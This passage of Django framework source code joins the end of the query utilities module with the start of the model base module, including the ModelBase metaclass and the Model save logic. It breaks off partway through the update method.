        link_field = opts.get_ancestor_link(f.model)
        if f.primary_key and f != link_field:
            return getattr(instance, link_field.attname)
        return None


class RegisterLookupMixin(object):

    @classmethod
    def _get_lookup(cls, lookup_name):
        return cls.get_lookups().get(lookup_name, None)

    @classmethod
    @lru_cache(maxsize=None)
    def get_lookups(cls):
        class_lookups = [parent.__dict__.get('class_lookups', {}) for parent in inspect.getmro(cls)]
        return cls.merge_dicts(class_lookups)

    def get_lookup(self, lookup_name):
        from django.db.models.lookups import Lookup
        found = self._get_lookup(lookup_name)
        if found is None and hasattr(self, 'output_field'):
            return self.output_field.get_lookup(lookup_name)
        if found is not None and not issubclass(found, Lookup):
            return None
        return found

    def get_transform(self, lookup_name):
        from django.db.models.lookups import Transform
        found = self._get_lookup(lookup_name)
        if found is None and hasattr(self, 'output_field'):
            return self.output_field.get_transform(lookup_name)
        if found is not None and not issubclass(found, Transform):
            return None
        return found

    @staticmethod
    def merge_dicts(dicts):
        """
        Merge dicts in reverse to preference the order of the original list. e.g.,
        merge_dicts([a, b]) will preference the keys in 'a' over those in 'b'.
        """
        merged = {}
        for d in reversed(dicts):
            merged.update(d)
        return merged

    @classmethod
    def _clear_cached_lookups(cls):
        for subclass in subclasses(cls):
            subclass.get_lookups.cache_clear()

    @classmethod
    def register_lookup(cls, lookup, lookup_name=None):
        if lookup_name is None:
            lookup_name = lookup.lookup_name
        if 'class_lookups' not in cls.__dict__:
            cls.class_lookups = {}
        cls.class_lookups[lookup_name] = lookup
        cls._clear_cached_lookups()
        return lookup

    @classmethod
    def _unregister_lookup(cls, lookup, lookup_name=None):
        """
        Remove given lookup from cls lookups. For use in tests only as it's
        not thread-safe.
        """
        if lookup_name is None:
            lookup_name = lookup.lookup_name
        del cls.class_lookups[lookup_name]


def select_related_descend(field, restricted, requested, load_fields, reverse=False):
    """
    Returns True if this field should be used to descend deeper for
    select_related() purposes. Used by both the query construction code
    (sql.query.fill_related_selections()) and the model instance creation code
    (query.get_klass_info()).

    Arguments:
     * field - the field to be checked
     * restricted - a boolean field, indicating if the field list has been
       manually restricted using a requested clause)
     * requested - The select_related() dictionary.
     * load_fields - the set of fields to be loaded on this model
     * reverse - boolean, True if we are checking a reverse select related
    """
    if not field.remote_field:
        return False
    if field.remote_field.parent_link and not reverse:
        return False
    if restricted:
        if reverse and field.related_query_name() not in requested:
            return False
        if not reverse and field.name not in requested:
            return False
    if not restricted and field.null:
        return False
    if load_fields:
        if field.attname not in load_fields:
            if restricted and field.name in requested:
                raise InvalidQuery("Field %s.%s cannot be both deferred"
                                   " and traversed using select_related"
                                   " at the same time." %
                                   (field.model._meta.object_name, field.name))
    return True


def refs_expression(lookup_parts, annotations):
    """
    A helper method to check if the lookup_parts contains references
    to the given annotations set. Because the LOOKUP_SEP is contained in the
    default annotation names we must check each prefix of the lookup_parts
    for a match.
    """
    for n in range(len(lookup_parts) + 1):
        level_n_lookup = LOOKUP_SEP.join(lookup_parts[0:n])
        if level_n_lookup in annotations and annotations[level_n_lookup]:
            return annotations[level_n_lookup], lookup_parts[n:]
    return False, ()


def check_rel_lookup_compatibility(model, target_opts, field):
    """
    Check that self.model is compatible with target_opts. Compatibility
    is OK if:
      1) model and opts match (where proxy inheritance is removed)
      2) model is parent of opts' model or the other way around
    """
    def check(opts):
        return (
            model._meta.concrete_model == opts.concrete_model or
            opts.concrete_model in model._meta.get_parent_list() or
            model in opts.get_parent_list()
        )
    # If the field is a primary key, then doing a query against the field's
    # model is ok, too. Consider the case:
    # class Restaurant(models.Model):
    #     place = OnetoOneField(Place, primary_key=True):
    # Restaurant.objects.filter(pk__in=Restaurant.objects.all()).
    # If we didn't have the primary key check, then pk__in (== place__in) would
    # give Place's opts as the target opts, but Restaurant isn't compatible
    # with that. This logic applies only to primary keys, as when doing __in=qs,
    # we are going to turn this into __in=qs.values('pk') later on.
    return (
        check(target_opts) or
        (getattr(field, 'primary_key', False) and check(field.model._meta))
    )






from __future__ import unicode_literals

import copy
import inspect
import warnings
from itertools import chain

from django.apps import apps
from django.conf import settings
from django.core import checks
from django.core.exceptions import (
    NON_FIELD_ERRORS, FieldDoesNotExist, FieldError, MultipleObjectsReturned,
    ObjectDoesNotExist, ValidationError,
)
from django.db import (
    DEFAULT_DB_ALIAS, DJANGO_VERSION_PICKLE_KEY, DatabaseError, connection,
    connections, router, transaction,
)
from django.db.models import signals
from django.db.models.constants import LOOKUP_SEP
from django.db.models.deletion import CASCADE, Collector
from django.db.models.fields import AutoField
from django.db.models.fields.related import (
    ForeignObjectRel, ManyToOneRel, OneToOneField, lazy_related_operation,
    resolve_relation,
)
from django.db.models.manager import Manager
from django.db.models.options import Options
from django.db.models.query import Q
from django.db.models.utils import make_model_tuple
from django.utils import six
from django.utils.deprecation import RemovedInDjango20Warning
from django.utils.encoding import (
    force_str, force_text, python_2_unicode_compatible,
)
from django.utils.functional import curry
from django.utils.six.moves import zip
from django.utils.text import capfirst, get_text_list
from django.utils.translation import ugettext_lazy as _
from django.utils.version import get_version


@python_2_unicode_compatible
class Deferred(object):
    def __repr__(self):
        return str('<Deferred field>')

    def __str__(self):
        return str('<Deferred field>')

DEFERRED = Deferred()


def subclass_exception(name, parents, module, attached_to=None):
    """
    Create exception subclass. Used by ModelBase below.

    If 'attached_to' is supplied, the exception will be created in a way that
    allows it to be pickled, assuming the returned exception class will be added
    as an attribute to the 'attached_to' class.
    """
    class_dict = {'__module__': module}
    if attached_to is not None:
        def __reduce__(self):
            # Exceptions are special - they've got state that isn't
            # in self.__dict__. We assume it is all in self.args.
            return (unpickle_inner_exception, (attached_to, name), self.args)

        def __setstate__(self, args):
            self.args = args

        class_dict['__reduce__'] = __reduce__
        class_dict['__setstate__'] = __setstate__

    return type(name, parents, class_dict)


class ModelBase(type):
    """
    Metaclass for all models.
    """
    def __new__(cls, name, bases, attrs):
        super_new = super(ModelBase, cls).__new__

        # Also ensure initialization is only performed for subclasses of Model
        # (excluding Model class itself).
        parents = [b for b in bases if isinstance(b, ModelBase)]
        if not parents:
            return super_new(cls, name, bases, attrs)

        # Create the class.
        module = attrs.pop('__module__')
        new_class = super_new(cls, name, bases, {'__module__': module})
        attr_meta = attrs.pop('Meta', None)
        abstract = getattr(attr_meta, 'abstract', False)
        if not attr_meta:
            meta = getattr(new_class, 'Meta', None)
        else:
            meta = attr_meta
        base_meta = getattr(new_class, '_meta', None)

        app_label = None

        # Look for an application configuration to attach the model to.
        app_config = apps.get_containing_app_config(module)

        if getattr(meta, 'app_label', None) is None:
            if app_config is None:
                if not abstract:
                    raise RuntimeError(
                        "Model class %s.%s doesn't declare an explicit "
                        "app_label and isn't in an application in "
                        "INSTALLED_APPS." % (module, name)
                    )

            else:
                app_label = app_config.label

        new_class.add_to_class('_meta', Options(meta, app_label))
        if not abstract:
            new_class.add_to_class(
                'DoesNotExist',
                subclass_exception(
                    str('DoesNotExist'),
                    tuple(
                        x.DoesNotExist for x in parents if hasattr(x, '_meta') and not x._meta.abstract
                    ) or (ObjectDoesNotExist,),
                    module,
                    attached_to=new_class))
            new_class.add_to_class(
                'MultipleObjectsReturned',
                subclass_exception(
                    str('MultipleObjectsReturned'),
                    tuple(
                        x.MultipleObjectsReturned for x in parents if hasattr(x, '_meta') and not x._meta.abstract
                    ) or (MultipleObjectsReturned,),
                    module,
                    attached_to=new_class))
            if base_meta and not base_meta.abstract:
                # Non-abstract child classes inherit some attributes from their
                # non-abstract parent (unless an ABC comes before it in the
                # method resolution order).
                if not hasattr(meta, 'ordering'):
                    new_class._meta.ordering = base_meta.ordering
                if not hasattr(meta, 'get_latest_by'):
                    new_class._meta.get_latest_by = base_meta.get_latest_by

        is_proxy = new_class._meta.proxy

        # If the model is a proxy, ensure that the base class
        # hasn't been swapped out.
        if is_proxy and base_meta and base_meta.swapped:
            raise TypeError("%s cannot proxy the swapped model '%s'." % (name, base_meta.swapped))

        # Add all attributes to the class.
        for obj_name, obj in attrs.items():
            new_class.add_to_class(obj_name, obj)

        # All the fields of any type declared on this model
        new_fields = chain(
            new_class._meta.local_fields,
            new_class._meta.local_many_to_many,
            new_class._meta.private_fields
        )
        field_names = {f.name for f in new_fields}

        # Basic setup for proxy models.
        if is_proxy:
            base = None
            for parent in [kls for kls in parents if hasattr(kls, '_meta')]:
                if parent._meta.abstract:
                    if parent._meta.fields:
                        raise TypeError(
                            "Abstract base class containing model fields not "
                            "permitted for proxy model '%s'." % name
                        )
                    else:
                        continue
                if base is None:
                    base = parent
                elif parent._meta.concrete_model is not base._meta.concrete_model:
                    raise TypeError("Proxy model '%s' has more than one non-abstract model base class." % name)
            if base is None:
                raise TypeError("Proxy model '%s' has no non-abstract model base class." % name)
            new_class._meta.setup_proxy(base)
            new_class._meta.concrete_model = base._meta.concrete_model
        else:
            new_class._meta.concrete_model = new_class

        # Collect the parent links for multi-table inheritance.
        parent_links = {}
        for base in reversed([new_class] + parents):
            # Conceptually equivalent to `if base is Model`.
            if not hasattr(base, '_meta'):
                continue
            # Skip concrete parent classes.
            if base != new_class and not base._meta.abstract:
                continue
            # Locate OneToOneField instances.
            for field in base._meta.local_fields:
                if isinstance(field, OneToOneField):
                    related = resolve_relation(new_class, field.remote_field.model)
                    parent_links[make_model_tuple(related)] = field

        # Track fields inherited from base models.
        inherited_attributes = set()
        # Do the appropriate setup for any model parents.
        for base in new_class.mro():
            if base not in parents or not hasattr(base, '_meta'):
                # Things without _meta aren't functional models, so they're
                # uninteresting parents.
                inherited_attributes |= set(base.__dict__.keys())
                continue

            parent_fields = base._meta.local_fields + base._meta.local_many_to_many
            if not base._meta.abstract:
                # Check for clashes between locally declared fields and those
                # on the base classes.
                for field in parent_fields:
                    if field.name in field_names:
                        raise FieldError(
                            'Local field %r in class %r clashes with field of '
                            'the same name from base class %r.' % (
                                field.name,
                                name,
                                base.__name__,
                            )
                        )
                    else:
                        inherited_attributes.add(field.name)

                # Concrete classes...
                base = base._meta.concrete_model
                base_key = make_model_tuple(base)
                if base_key in parent_links:
                    field = parent_links[base_key]
                elif not is_proxy:
                    attr_name = '%s_ptr' % base._meta.model_name
                    field = OneToOneField(
                        base,
                        on_delete=CASCADE,
                        name=attr_name,
                        auto_created=True,
                        parent_link=True,
                    )

                    if attr_name in field_names:
                        raise FieldError(
                            "Auto-generated field '%s' in class %r for "
                            "parent_link to base class %r clashes with "
                            "declared field of the same name." % (
                                attr_name,
                                name,
                                base.__name__,
                            )
                        )

                    # Only add the ptr field if it's not already present;
                    # e.g. migrations will already have it specified
                    if not hasattr(new_class, attr_name):
                        new_class.add_to_class(attr_name, field)
                else:
                    field = None
                new_class._meta.parents[base] = field
            else:
                base_parents = base._meta.parents.copy()

                # Add fields from abstract base class if it wasn't overridden.
                for field in parent_fields:
                    if (field.name not in field_names and
                            field.name not in new_class.__dict__ and
                            field.name not in inherited_attributes):
                        new_field = copy.deepcopy(field)
                        new_class.add_to_class(field.name, new_field)
                        # Replace parent links defined on this base by the new
                        # field. It will be appropriately resolved if required.
                        if field.one_to_one:
                            for parent, parent_link in base_parents.items():
                                if field == parent_link:
                                    base_parents[parent] = new_field

                # Pass any non-abstract parent classes onto child.
                new_class._meta.parents.update(base_parents)

            # Inherit private fields (like GenericForeignKey) from the parent
            # class
            for field in base._meta.private_fields:
                if field.name in field_names:
                    if not base._meta.abstract:
                        raise FieldError(
                            'Local field %r in class %r clashes with field of '
                            'the same name from base class %r.' % (
                                field.name,
                                name,
                                base.__name__,
                            )
                        )
                else:
                    new_class.add_to_class(field.name, copy.deepcopy(field))

        # Set the name of _meta.indexes. This can't be done in
        # Options.contribute_to_class() because fields haven't been added to
        # the model at that point.
        for index in new_class._meta.indexes:
            if not index.name:
                index.set_name_with_model(new_class)

        if abstract:
            # Abstract base models can't be instantiated and don't appear in
            # the list of models for an app. We do the final setup for them a
            # little differently from normal models.
            attr_meta.abstract = False
            new_class.Meta = attr_meta
            return new_class

        new_class._prepare()
        new_class._meta.apps.register_model(new_class._meta.app_label, new_class)
        return new_class

    def add_to_class(cls, name, value):
        # We should call the contribute_to_class method only if it's bound
        if not inspect.isclass(value) and hasattr(value, 'contribute_to_class'):
            value.contribute_to_class(cls, name)
        else:
            setattr(cls, name, value)

    def _prepare(cls):
        """
        Creates some methods once self._meta has been populated.
        """
        opts = cls._meta
        opts._prepare(cls)

        if opts.order_with_respect_to:
            cls.get_next_in_order = curry(cls._get_next_or_previous_in_order, is_next=True)
            cls.get_previous_in_order = curry(cls._get_next_or_previous_in_order, is_next=False)

            # Defer creating accessors on the foreign class until it has been
            # created and registered. If remote_field is None, we're ordering
            # with respect to a GenericForeignKey and don't know what the
            # foreign class is - we'll add those accessors later in
            # contribute_to_class().
            if opts.order_with_respect_to.remote_field:
                wrt = opts.order_with_respect_to
                remote = wrt.remote_field.model
                lazy_related_operation(make_foreign_order_accessors, cls, remote)

        # Give the class a docstring -- its definition.
        if cls.__doc__ is None:
            cls.__doc__ = "%s(%s)" % (cls.__name__, ", ".join(f.name for f in opts.fields))

        get_absolute_url_override = settings.ABSOLUTE_URL_OVERRIDES.get(opts.label_lower)
        if get_absolute_url_override:
            setattr(cls, 'get_absolute_url', get_absolute_url_override)

        if not opts.managers or cls._requires_legacy_default_manager():
            if any(f.name == 'objects' for f in opts.fields):
                raise ValueError(
                    "Model %s must specify a custom Manager, because it has a "
                    "field named 'objects'." % cls.__name__
                )
            manager = Manager()
            manager.auto_created = True
            cls.add_to_class('objects', manager)

        signals.class_prepared.send(sender=cls)

    def _requires_legacy_default_manager(cls):  # RemovedInDjango20Warning
        opts = cls._meta

        if opts.manager_inheritance_from_future:
            return False

        future_default_manager = opts.default_manager

        # Step 1: Locate a manager that would have been promoted
        # to default manager with the legacy system.
        for manager in opts.managers:
            originating_model = manager._originating_model
            if (cls is originating_model or cls._meta.proxy or
                    originating_model._meta.abstract):

                if manager is not cls._default_manager and not opts.default_manager_name:
                    warnings.warn(
                        "Managers from concrete parents will soon qualify as default "
                        "managers if they appear before any other managers in the "
                        "MRO. As a result, '{legacy_default_manager}' declared on "
                        "'{legacy_default_manager_model}' will no longer be the "
                        "default manager for '{model}' in favor of "
                        "'{future_default_manager}' declared on "
                        "'{future_default_manager_model}'. "
                        "You can redeclare '{legacy_default_manager}' on '{cls}' "
                        "to keep things the way they are or you can switch to the new "
                        "behavior right away by setting "
                        "`Meta.manager_inheritance_from_future` to `True`.".format(
                            cls=cls.__name__,
                            model=opts.label,
                            legacy_default_manager=manager.name,
                            legacy_default_manager_model=manager._originating_model._meta.label,
                            future_default_manager=future_default_manager.name,
                            future_default_manager_model=future_default_manager._originating_model._meta.label,
                        ),
                        RemovedInDjango20Warning, 2
                    )

                    opts.default_manager_name = manager.name
                    opts._expire_cache()

                break

        # Step 2: Since there are managers but none of them qualified as
        # default managers under the legacy system (meaning that there are
        # managers from concrete parents that would be promoted under the
        # new system), we need to create a new Manager instance for the
        # 'objects' attribute as a deprecation shim.
        else:
            # If the "future" default manager was auto created there is no
            # point warning the user since it's basically the same manager.
            if not future_default_manager.auto_created:
                warnings.warn(
                    "Managers from concrete parents will soon qualify as "
                    "default managers. As a result, the 'objects' manager "
                    "won't be created (or recreated) automatically "
                    "anymore on '{model}' and '{future_default_manager}' "
                    "declared on '{future_default_manager_model}' will be "
                    "promoted to default manager. You can declare "
                    "explicitly `objects = models.Manager()` on '{cls}' "
                    "to keep things the way they are or you can switch "
                    "to the new behavior right away by setting "
                    "`Meta.manager_inheritance_from_future` to `True`.".format(
                        cls=cls.__name__,
                        model=opts.label,
                        future_default_manager=future_default_manager.name,
                        future_default_manager_model=future_default_manager._originating_model._meta.label,
                    ),
                    RemovedInDjango20Warning, 2
                )

            return True

    @property
    def _base_manager(cls):
        return cls._meta.base_manager

    @property
    def _default_manager(cls):
        return cls._meta.default_manager


class ModelState(object):
    """
    A class for storing instance state
    """
    def __init__(self, db=None):
        self.db = db
        # If true, uniqueness validation checks will consider this a new, as-yet-unsaved object.
        # Necessary for correct validation of new instances of objects with explicit (non-auto) PKs.
        # This impacts validation only; it has no effect on the actual save.
        self.adding = True


class Model(six.with_metaclass(ModelBase)):

    def __init__(self, *args, **kwargs):
        signals.pre_init.send(sender=self.__class__, args=args, kwargs=kwargs)

        # Set up the storage for instance state
        self._state = ModelState()

        # There is a rather weird disparity here; if kwargs, it's set, then args
        # overrides it. It should be one or the other; don't duplicate the work
        # The reason for the kwargs check is that standard iterator passes in by
        # args, and instantiation for iteration is 33% faster.
        args_len = len(args)
        if args_len > len(self._meta.concrete_fields):
            # Daft, but matches old exception sans the err msg.
            raise IndexError("Number of args exceeds number of fields")

        if not kwargs:
            fields_iter = iter(self._meta.concrete_fields)
            # The ordering of the zip calls matter - zip throws StopIteration
            # when an iter throws it. So if the first iter throws it, the second
            # is *not* consumed. We rely on this, so don't change the order
            # without changing the logic.
            for val, field in zip(args, fields_iter):
                if val is DEFERRED:
                    continue
                setattr(self, field.attname, val)
        else:
            # Slower, kwargs-ready version.
            fields_iter = iter(self._meta.fields)
            for val, field in zip(args, fields_iter):
                if val is DEFERRED:
                    continue
                setattr(self, field.attname, val)
                kwargs.pop(field.name, None)
                # Maintain compatibility with existing calls.
                if isinstance(field.remote_field, ManyToOneRel):
                    kwargs.pop(field.attname, None)

        # Now we're left with the unprocessed fields that *must* come from
        # keywords, or default.

        for field in fields_iter:
            is_related_object = False
            # Virtual field
            if field.attname not in kwargs and field.column is None:
                continue
            if kwargs:
                if isinstance(field.remote_field, ForeignObjectRel):
                    try:
                        # Assume object instance was passed in.
                        rel_obj = kwargs.pop(field.name)
                        is_related_object = True
                    except KeyError:
                        try:
                            # Object instance wasn't passed in -- must be an ID.
                            val = kwargs.pop(field.attname)
                        except KeyError:
                            val = field.get_default()
                    else:
                        # Object instance was passed in. Special case: You can
                        # pass in "None" for related objects if it's allowed.
                        if rel_obj is None and field.null:
                            val = None
                else:
                    try:
                        val = kwargs.pop(field.attname)
                    except KeyError:
                        # This is done with an exception rather than the
                        # default argument on pop because we don't want
                        # get_default() to be evaluated, and then not used.
                        # Refs #12057.
                        val = field.get_default()
            else:
                val = field.get_default()

            if is_related_object:
                # If we are passed a related instance, set it using the
                # field.name instead of field.attname (e.g. "user" instead of
                # "user_id") so that the object gets properly cached (and type
                # checked) by the RelatedObjectDescriptor.
                if rel_obj is not DEFERRED:
                    setattr(self, field.name, rel_obj)
            else:
                if val is not DEFERRED:
                    setattr(self, field.attname, val)

        if kwargs:
            for prop in list(kwargs):
                try:
                    # Any remaining kwargs must correspond to properties or
                    # virtual fields.
                    if (isinstance(getattr(self.__class__, prop), property) or
                            self._meta.get_field(prop)):
                        if kwargs[prop] is not DEFERRED:
                            setattr(self, prop, kwargs[prop])
                        del kwargs[prop]
                except (AttributeError, FieldDoesNotExist):
                    pass
            if kwargs:
                raise TypeError("'%s' is an invalid keyword argument for this function" % list(kwargs)[0])
        super(Model, self).__init__()
        signals.post_init.send(sender=self.__class__, instance=self)

    @classmethod
    def from_db(cls, db, field_names, values):
        if len(values) != len(cls._meta.concrete_fields):
            values = list(values)
            values.reverse()
            values = [values.pop() if f.attname in field_names else DEFERRED for f in cls._meta.concrete_fields]
        new = cls(*values)
        new._state.adding = False
        new._state.db = db
        return new

    def __repr__(self):
        try:
            u = six.text_type(self)
        except (UnicodeEncodeError, UnicodeDecodeError):
            u = '[Bad Unicode data]'
        return force_str('<%s: %s>' % (self.__class__.__name__, u))

    def __str__(self):
        if six.PY2 and hasattr(self, '__unicode__'):
            return force_text(self).encode('utf-8')
        return str('%s object' % self.__class__.__name__)

    def __eq__(self, other):
        if not isinstance(other, Model):
            return False
        if self._meta.concrete_model != other._meta.concrete_model:
            return False
        my_pk = self._get_pk_val()
        if my_pk is None:
            return self is other
        return my_pk == other._get_pk_val()

    def __ne__(self, other):
        return not self.__eq__(other)

    def __hash__(self):
        if self._get_pk_val() is None:
            raise TypeError("Model instances without primary key value are unhashable")
        return hash(self._get_pk_val())

    def __reduce__(self):
        """
        Provides pickling support. Normally, this just dispatches to Python's
        standard handling. However, for models with deferred field loading, we
        need to do things manually, as they're dynamically created classes and
        only module-level classes can be pickled by the default path.
        """
        data = self.__dict__
        data[DJANGO_VERSION_PICKLE_KEY] = get_version()
        class_id = self._meta.app_label, self._meta.object_name
        return model_unpickle, (class_id,), data

    def __setstate__(self, state):
        msg = None
        pickled_version = state.get(DJANGO_VERSION_PICKLE_KEY)
        if pickled_version:
            current_version = get_version()
            if current_version != pickled_version:
                msg = (
                    "Pickled model instance's Django version %s does not match "
                    "the current version %s." % (pickled_version, current_version)
                )
        else:
            msg = "Pickled model instance's Django version is not specified."

        if msg:
            warnings.warn(msg, RuntimeWarning, stacklevel=2)

        self.__dict__.update(state)

    def _get_pk_val(self, meta=None):
        if not meta:
            meta = self._meta
        return getattr(self, meta.pk.attname)

    def _set_pk_val(self, value):
        return setattr(self, self._meta.pk.attname, value)

    pk = property(_get_pk_val, _set_pk_val)

    def get_deferred_fields(self):
        """
        Returns a set containing names of deferred fields for this instance.
        """
        return {
            f.attname for f in self._meta.concrete_fields
            if f.attname not in self.__dict__
        }

    def refresh_from_db(self, using=None, fields=None):
        """
        Reloads field values from the database.

        By default, the reloading happens from the database this instance was
        loaded from, or by the read router if this instance wasn't loaded from
        any database. The using parameter will override the default.

        Fields can be used to specify which fields to reload. The fields
        should be an iterable of field attnames. If fields is None, then
        all non-deferred fields are reloaded.

        When accessing deferred fields of an instance, the deferred loading
        of the field will call this method.
        """
        if fields is not None:
            if len(fields) == 0:
                return
            if any(LOOKUP_SEP in f for f in fields):
                raise ValueError(
                    'Found "%s" in fields argument. Relations and transforms '
                    'are not allowed in fields.' % LOOKUP_SEP)

        db = using if using is not None else self._state.db
        db_instance_qs = self.__class__._default_manager.using(db).filter(pk=self.pk)

        # Use provided fields, if not set then reload all non-deferred fields.
        deferred_fields = self.get_deferred_fields()
        if fields is not None:
            fields = list(fields)
            db_instance_qs = db_instance_qs.only(*fields)
        elif deferred_fields:
            fields = [f.attname for f in self._meta.concrete_fields
                      if f.attname not in deferred_fields]
            db_instance_qs = db_instance_qs.only(*fields)

        db_instance = db_instance_qs.get()
        non_loaded_fields = db_instance.get_deferred_fields()
        for field in self._meta.concrete_fields:
            if field.attname in non_loaded_fields:
                # This field wasn't refreshed - skip ahead.
                continue
            setattr(self, field.attname, getattr(db_instance, field.attname))
            # Throw away stale foreign key references.
            if field.is_relation and field.get_cache_name() in self.__dict__:
                rel_instance = getattr(self, field.get_cache_name())
                local_val = getattr(db_instance, field.attname)
                related_val = None if rel_instance is None else getattr(rel_instance, field.target_field.attname)
                if local_val != related_val or (local_val is None and related_val is None):
                    del self.__dict__[field.get_cache_name()]
        self._state.db = db_instance._state.db

    def serializable_value(self, field_name):
        """
        Returns the value of the field name for this instance. If the field is
        a foreign key, returns the id value, instead of the object. If there's
        no Field object with this name on the model, the model attribute's
        value is returned directly.

        Used to serialize a field's value (in the serializer, or form output,
        for example). Normally, you would just access the attribute directly
        and not use this method.
        """
        try:
            field = self._meta.get_field(field_name)
        except FieldDoesNotExist:
            return getattr(self, field_name)
        return getattr(self, field.attname)

    def save(self, force_insert=False, force_update=False, using=None,
             update_fields=None):
        """
        Saves the current instance. Override this in a subclass if you want to
        control the saving process.

        The 'force_insert' and 'force_update' parameters can be used to insist
        that the "save" must be an SQL insert or update (or equivalent for
        non-SQL backends), respectively. Normally, they should not be set.
        """
        # Ensure that a model instance without a PK hasn't been assigned to
        # a ForeignKey or OneToOneField on this model. If the field is
        # nullable, allowing the save() would result in silent data loss.
        for field in self._meta.concrete_fields:
            if field.is_relation:
                # If the related field isn't cached, then an instance hasn't
                # been assigned and there's no need to worry about this check.
                try:
                    getattr(self, field.get_cache_name())
                except AttributeError:
                    continue
                obj = getattr(self, field.name, None)
                # A pk may have been assigned manually to a model instance not
                # saved to the database (or auto-generated in a case like
                # UUIDField), but we allow the save to proceed and rely on the
                # database to raise an IntegrityError if applicable. If
                # constraints aren't supported by the database, there's the
                # unavoidable risk of data corruption.
                if obj and obj.pk is None:
                    # Remove the object from a related instance cache.
                    if not field.remote_field.multiple:
                        delattr(obj, field.remote_field.get_cache_name())
                    raise ValueError(
                        "save() prohibited to prevent data loss due to "
                        "unsaved related object '%s'." % field.name
                    )

        using = using or router.db_for_write(self.__class__, instance=self)
        if force_insert and (force_update or update_fields):
            raise ValueError("Cannot force both insert and updating in model saving.")

        deferred_fields = self.get_deferred_fields()
        if update_fields is not None:
            # If update_fields is empty, skip the save. We do also check for
            # no-op saves later on for inheritance cases. This bailout is
            # still needed for skipping signal sending.
            if len(update_fields) == 0:
                return

            update_fields = frozenset(update_fields)
            field_names = set()

            for field in self._meta.fields:
                if not field.primary_key:
                    field_names.add(field.name)

                    if field.name != field.attname:
                        field_names.add(field.attname)

            non_model_fields = update_fields.difference(field_names)

            if non_model_fields:
                raise ValueError("The following fields do not exist in this "
                                 "model or are m2m fields: %s"
                                 % ', '.join(non_model_fields))

        # If saving to the same database, and this model is deferred, then
        # automatically do a "update_fields" save on the loaded fields.
        elif not force_insert and deferred_fields and using == self._state.db:
            field_names = set()
            for field in self._meta.concrete_fields:
                if not field.primary_key and not hasattr(field, 'through'):
                    field_names.add(field.attname)
            loaded_fields = field_names.difference(deferred_fields)
            if loaded_fields:
                update_fields = frozenset(loaded_fields)

        self.save_base(using=using, force_insert=force_insert,
                       force_update=force_update, update_fields=update_fields)
    save.alters_data = True

    def save_base(self, raw=False, force_insert=False,
                  force_update=False, using=None, update_fields=None):
        """
        Handles the parts of saving which should be done only once per save,
        yet need to be done in raw saves, too. This includes some sanity
        checks and signal sending.

        The 'raw' argument is telling save_base not to save any parent
        models and not to do any changes to the values before save. This
        is used by fixture loading.
        """
        using = using or router.db_for_write(self.__class__, instance=self)
        assert not (force_insert and (force_update or update_fields))
        assert update_fields is None or len(update_fields) > 0
        cls = origin = self.__class__
        # Skip proxies, but keep the origin as the proxy model.
        if cls._meta.proxy:
            cls = cls._meta.concrete_model
        meta = cls._meta
        if not meta.auto_created:
            signals.pre_save.send(sender=origin, instance=self, raw=raw, using=using,
                                  update_fields=update_fields)
        with transaction.atomic(using=using, savepoint=False):
            if not raw:
                self._save_parents(cls, using, update_fields)
            updated = self._save_table(raw, cls, force_insert, force_update, using, update_fields)
        # Store the database on which the object was saved
        self._state.db = using
        # Once saved, this is no longer a to-be-added instance.
        self._state.adding = False

        # Signal that the save is complete
        if not meta.auto_created:
            signals.post_save.send(sender=origin, instance=self, created=(not updated),
                                   update_fields=update_fields, raw=raw, using=using)

    save_base.alters_data = True

    def _save_parents(self, cls, using, update_fields):
        """
        Saves all the parents of cls using values from self.
        """
        meta = cls._meta
        for parent, field in meta.parents.items():
            # Make sure the link fields are synced between parent and self.
            if (field and getattr(self, parent._meta.pk.attname) is None and
                    getattr(self, field.attname) is not None):
                setattr(self, parent._meta.pk.attname, getattr(self, field.attname))
            self._save_parents(cls=parent, using=using, update_fields=update_fields)
            self._save_table(cls=parent, using=using, update_fields=update_fields)
            # Set the parent's PK value to self.
            if field:
                setattr(self, field.attname, self._get_pk_val(parent._meta))
                # Since we didn't have an instance of the parent handy set
                # attname directly, bypassing the descriptor. Invalidate
                # the related object cache, in case it's been accidentally
                # populated. A fresh instance will be re-built from the
                # database if necessary.
                cache_name = field.get_cache_name()
                if hasattr(self, cache_name):
                    delattr(self, cache_name)

    def _save_table(self, raw=False, cls=None, force_insert=False,
                    force_update=False, using=None, update_fields=None):
        """
        Does the heavy-lifting involved in saving. Updates or inserts the data
        for a single table.
        """
        meta = cls._meta
        non_pks = [f for f in meta.local_concrete_fields if not f.primary_key]

        if update_fields:
            non_pks = [f for f in non_pks
                       if f.name in update_fields or f.attname in update_fields]

        pk_val = self._get_pk_val(meta)
        if pk_val is None:
            pk_val = meta.pk.get_pk_value_on_save(self)
            setattr(self, meta.pk.attname, pk_val)
        pk_set = pk_val is not None
        if not pk_set and (force_update or update_fields):
            raise ValueError("Cannot force an update in save() with no primary key.")
        updated = False
        # If possible, try an UPDATE. If that doesn't update anything, do an INSERT.
        if pk_set and not force_insert:
            base_qs = cls._base_manager.using(using)
            values = [(f, None, (getattr(self, f.attname) if raw else f.pre_save(self, False)))
                      for f in non_pks]
            forced_update = update_fields or force_update
            updated = self._do_update(base_qs, using, pk_val, values, update_fields,
                                      forced_update)
            if force_update and not updated:
                raise DatabaseError("Forced update did not affect any rows.")
            if update_fields and not updated:
                raise DatabaseError("Save with update_fields did not affect any rows.")
        if not updated:
            if meta.order_with_respect_to:
                # If this is a model with an order_with_respect_to
                # autopopulate the _order field
                field = meta.order_with_respect_to
                filter_args = field.get_filter_kwargs_for_object(self)
                order_value = cls._base_manager.using(using).filter(**filter_args).count()
                self._order = order_value

            fields = meta.local_concrete_fields
            if not pk_set:
                fields = [f for f in fields if not isinstance(f, AutoField)]

            update_pk = bool(meta.has_auto_field and not pk_set)
            result = self._do_insert(cls._base_manager, using, fields, update_pk, raw)
            if update_pk:
                setattr(self, meta.pk.attname, result)
        return updated

    def _do_update(self, base_qs, using, pk_val, values, update_fields, forced_update):
        """
        This method will try to update the model. If the model was updated (in
        the sense that an update query was done and a matching row was found
        from the DB) the method will return True.
        """
        filtered = base_qs.filter(pk=pk_val)
        if not values:
            # We can end up here when saving a model in inheritance chain where
            # update_fields doesn't target any field in current model. In that
            # case we just say the update succeeded. Another case ending up here
            # is a model with just PK - in that case check that the PK still
            # exists.
            return update_fields is not None or filtered.exists()
        if self._meta.select_on_save and not forced_update:
            if filtered.exists():
                # It may happen that the object is deleted from the DB right after
                # this check, causing the subsequent UPDATE to return zero matching
                # rows. The same result can occur in some rare cases when the
                # database returns zero despite the UPDATE being executed
                # successfully (a row is matched and updated). In order to
